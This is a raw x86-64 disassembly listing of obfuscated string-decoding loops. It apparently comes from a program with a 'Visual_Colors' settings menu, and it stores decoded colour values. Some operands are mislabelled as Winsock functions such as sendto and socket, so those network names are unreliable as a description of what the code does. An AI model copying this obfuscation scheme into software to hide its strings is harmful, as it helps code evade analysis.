movzx r11d, r10b
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
add r11b, 0x41
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x39
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x3f0], cl
jmp 0x14008a461
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140089943
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0xd
movzx eax, byte [rbp + r10 + 0x3f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140089943
sub r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x15
jmp 0x140089940
sub r10b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x73
jmp 0x140089930
lea rcx, [rbp + 0x159c8bc]
jmp 0x14008a501
lea rcx, [rbp + 0x698fd5]
jmp 0x14008a501
lea rcx, [rbp + 0x3f0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r15
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401db6d4]
call fcn.14003ffa0
call fcn.14000ca00
mov dword [rbp + 0x68], 0x43bf0000
mov dword [rbp + 0x6c], 0x438d0000
lea rcx, [rbp + 0x68]
call fcn.14001a510
mov dword [rbp + 0x70], 0x438d0000
mov dword [rbp + 0x74], 0x432e0000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x70]
lea rcx, str.Visual_Colors
call fcn.140009a60
mov byte [rbp + 0xb0], 0x8c
mov byte [rbp + 0xb1], 0x84
mov byte [rbp + 0xb2], 0x9e
mov byte [rbp + 0xb3], 0x53
mov byte [rbp + 0xb4], 0x8f
mov byte [rbp + 0xb5], 0xa0
mov byte [rbp + 0xb6], 0xa4
mov byte [rbp + 0xb7], 0xbe
mov byte [rbp + 0xb8], 0xa0
mov byte [rbp + 0xb9], 0x2d
xor eax, eax
mov dword [rbp + 0xba], eax
mov word [rbp + 0xbe], ax
movabs r13, 0x82b18aac7116de09
movabs r12, 0x8d77b55e3572562d
movabs r15, 0x8814a00553449a1b
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r10, qword [rax]
nop word [rax + rax]
xor r9d, r9d
cmp r9, 0x10
jae 0x14008abaa
movzx r8d, byte [rbp + r9 + 0xb0]
mov r11d, r8d
nop dword [rax]
cmp rbx, r9
ja 0x14008ab9e
lea rdx, [r10 + 1]
cmp rbx, rdx
jae 0x14008a643
lea rcx, [r9 + r13]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x3f
jmp 0x14008a656
je 0x14008ab47
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14008aae6
cmp r10, r9
ja 0x14008ab92
cmp rbx, rdx
jae 0x14008a683
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2b
jmp 0x14008a6a0
je 0x14008aaa4
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14008aa80
nop word [rax + rax]
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x14008a73e
nop dword [rax]
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x14008a71f
lea rbx, [r10 + 0x10]
lea rax, [rbx + 0x3f8]
cmp rbx, rax
jb 0x14008ab75
add rbx, 0x3ea
lea r10, [rbx + 0x10]
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x14008a6f2
lea rbx, [r10 + 0x10]
lea r10, [rbx + 2]
jmp 0x14008a6b0
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r10
add r9, rax
inc r9
jmp 0x14008a5f3
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
movzx edx, r9b
jmp 0x14008aabd
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14008a7dc
lea ecx, [r9 + 9]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3f
lea rax, [rbx + r10]
cmp rax, 0x3e8
je 0x14008aa3a
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x14008a8c1
lea ecx, [r9 + 0x25]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 3
cmp rbx, 1
jae 0x14008a9dd
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14008a915
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r8b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r10
add r9, rax
inc r9
jmp 0x14008a5f3
jne 0x14008a80b
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r10
add r9, rax
inc r9
jmp 0x14008a5f3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14008a837
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
movzx r11d, r9b
jmp 0x14008aa4f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14008a863
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r8b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14008aa21
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14008a893
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r8b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx r11d, r9b
jmp 0x14008a9fa
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14008a761
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
dec r9
inc r9
jmp 0x14008a5f3
jne 0x14008a8e5
movzx edx, r9b
lea ecx, [rdx + 0x37]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7f
jmp 0x14008aabd
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14008a794
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
inc dil
inc r10
dec r9
inc r9
jmp 0x14008a5f3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14008a945
movzx r11d, r9b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r8b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14008aa4f
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14008a971
movzx r11d, r9b
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x14008a9fa
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14008a99f
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r8b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
dec r9
inc r9
jmp 0x14008a5f3
cmp r10, 0x3e8
jb 0x14008a9cd
movzx edx, r9b
lea ecx, [rdx - 0x6a]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x34]
jmp 0x14008aabd
mov byte [rbp + r9 + 0xb0], dil
inc r9
jmp 0x14008a5f3
movzx r11d, r9b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r8b
movzx ecx, r8b
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
sub r11b, 0x4f
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x29
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0xb0], cl
add rbx, r10
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x14008a5f3
movzx r11d, r9b
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [rcx - 0x16]
sub r11b, 0x3d
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x55
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0xb0], al
inc r10
add rax, r10
sub r9, rax
jmp 0x14008ab00
lea ecx, [r9 - 0x1f]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x27
inc r10
dec r9
inc r9
jmp 0x14008a5f3
movzx edx, r9b
lea ecx, [rdx - 0x31]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x57
sub dl, 0x61
movzx eax, dl
and al, r8b
add al, al
sub dl, al
sub dl, 0x59
add dl, r8b
mov byte [rbp + r9 + 0xb0], dl
inc r10
dec r9
inc r9
jmp 0x14008a5f3
lea rdx, [r9 + r12]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r8b
sub dil, al
sub dil, 0x3b
add dil, dl
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xb0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r10
add r9, rax
inc r9
jmp 0x14008a5f3
lea rcx, [r9 + r15]
movzx eax, cl
and al, r11b
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
movzx eax, byte [rbp + r9 + 0xb0]
add rax, r10
add r9, rax
inc r9
jmp 0x14008a5f3
sub r9b, 0x65
movzx eax, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
sub dil, 0x3d
jmp 0x14008a5d7
lea rcx, [rbp + 0x15d2ebc]
jmp 0x14008abb1
lea rcx, [rbp + 0x1740cc5]
jmp 0x14008abb1
lea rcx, [rbp + 0xb0]
xor r8d, r8d
lea rdx, [0x1401db828]
call fcn.14003b3d0
test al, al
je 0x14008ac06
movss xmm0, dword [0x1401db828]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db6d8], eax
movss xmm1, dword [0x1401db82c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401db6dc], eax
movss xmm0, dword [0x1401db830]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db6e0], eax
mov byte [rbp + 0x190], WSASetLastError
mov byte [rbp + 0x191], 0x5b
mov byte [rbp + 0x192], 0x51
mov byte [rbp + 0x193], 0x54
mov byte [rbp + 0x194], 0x57
mov byte [rbp + 0x195], 0x59
mov byte [rbp + 0x196], 0x47
mov byte [rbp + 0x197], 0x5e
mov byte [rbp + 0x198], 0x52
mov byte [rbp + 0x199], 0x85
mov byte [rbp + 0x19a], 0x7d
mov byte [rbp + 0x19b], 0x48
mov byte [rbp + 0x19c], 0x44
mov byte [rbp + 0x19d], 0x4a
mov byte [rbp + 0x19e], 0x48
mov byte [rbp + 0x19f], 0xbf
xor eax, eax
mov dword [rbp + 0x1a0], eax
mov byte [rbp + 0x1a4], al
movabs r14, 0xc50233e6bbf8f8e6
movabs r15, 0xed13d31c9bc0c016
movabs r12, 0x4f069bb433eaeab2
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x14008b8b1
movzx r9d, byte [rbp + r10 + 0x190]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008b8a5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008ad10
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x4a
jmp 0x14008ad57
je 0x14008b82b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b7f8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008b7da
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008b790
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008b76f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008b725
cmp r8, r10
ja 0x14008b899
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14008ad85
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x14008add0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b702
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008b6dd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008b6be
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008b69f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008b672
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x14008b349
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008b326
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008b302
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008b2dd
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008b2cb
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x14008b2ad
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008b28e
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008b26f
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008b250
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008b223
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008ade0
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x14008b879
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x14008b85c
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x14008afcb
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x14008afac
lea rcx, [r8 + 4]
cmp rbx, rcx
jb 0x14008af91
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008b1cf
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008b191
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008b14a
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008b124
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008ade0
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14008b0f3
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14008b0d4
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14008b0b4
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14008b095
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x14008b076
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008b053
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008b031
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008b009
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008afe6
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008ade0
mov rbx, rcx
lea r8, [rcx + 0x40]
jmp 0x14008ade0
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
jmp 0x14008add0
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008ad57
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14008acd6
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x14008b73f
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008acc3
lea ecx, [r10 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
dec r10
inc r10
jmp 0x14008acc3
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x14008b7ae
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
add rbx, r8
jmp 0x14008b812
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008b812
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
movzx r11d, r10b
jmp 0x14008b5fc
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b62d
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
mov byte [rbp + r10 + 0x190], dil
inc r10
jmp 0x14008acc3
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x200
jb 0x14008b13a
movzx r11d, r10b
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r9b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008b73f
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
cmp rbx, 0x64
jae 0x14008b5bf
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14008b4fb
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
jmp 0x14008b159
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [rbx + r8]
cmp rax, 0x40
je 0x14008b5e4
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14008b40c
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b1a7
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b62d
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14008b5ff
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b812
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
add rbx, r8
jmp 0x14008b812
movzx r11d, r10b
lea edx, [r11 + 0x38]
mov ecx, 0x3c
jmp 0x14008b79d
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008acc3
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14008acc3
movzx r11d, r10b
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b73f
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14008b374
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x14008b1e9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b3ae
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008b3da
movzx r11d, r10b
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14008b5ff
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008b1e9
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008acc3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b438
movzx r11d, r10b
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14008b73f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b466
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
dec r10
inc r10
jmp 0x14008acc3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008b495
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008b812
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008b4bd
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x14008b812
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008b1a7
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008b535
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008b561
movzx r11d, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14008b5ff
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008b58d
movzx r11d, r10b
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x14008b7ae
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008b164
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008acc3
movzx r11d, r10b
lea edx, [r11 + 0x70]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x190]
sub dil, al
sub dil, 0x10
jmp 0x14008b7a8
movzx r11d, r10b
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x22
movzx eax, r9b
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x190], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 8]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x38
add r9b, cl
mov byte [rbp + r10 + 0x190], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b812
movzx r11d, r10b
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x14008b7ae
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008acc3
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008b73f
movzx r11d, r10b
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
sub r11b, 0x76
movzx eax, r9b
and al, r11b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x190], cl
inc r8
dec r10
inc r10
jmp 0x14008acc3
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
dec r10
inc r10
jmp 0x14008acc3
movzx r11d, r10b
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x56
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x5a
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x190], cl
add rbx, r8
jmp 0x14008b812
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
add rbx, r8
jmp 0x14008b812
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x33
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008acc3
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x190]
add rax, r8
add r10, rax
inc r10
jmp 0x14008acc3
add r10b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x14008acc0
sub r10b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008aca7
lea rcx, [rbp + 0x1473c18]
jmp 0x14008b8b8
lea rcx, [rbp + 0x4034fe]
jmp 0x14008b8b8
lea rcx, [rbp + 0x190]
xor r8d, r8d
lea rdx, [0x1401db838]
call fcn.14003b3d0
test al, al
je 0x14008b90d
movss xmm0, dword [0x1401db838]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db6e8], eax
movss xmm1, dword [0x1401db83c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401db6ec], eax
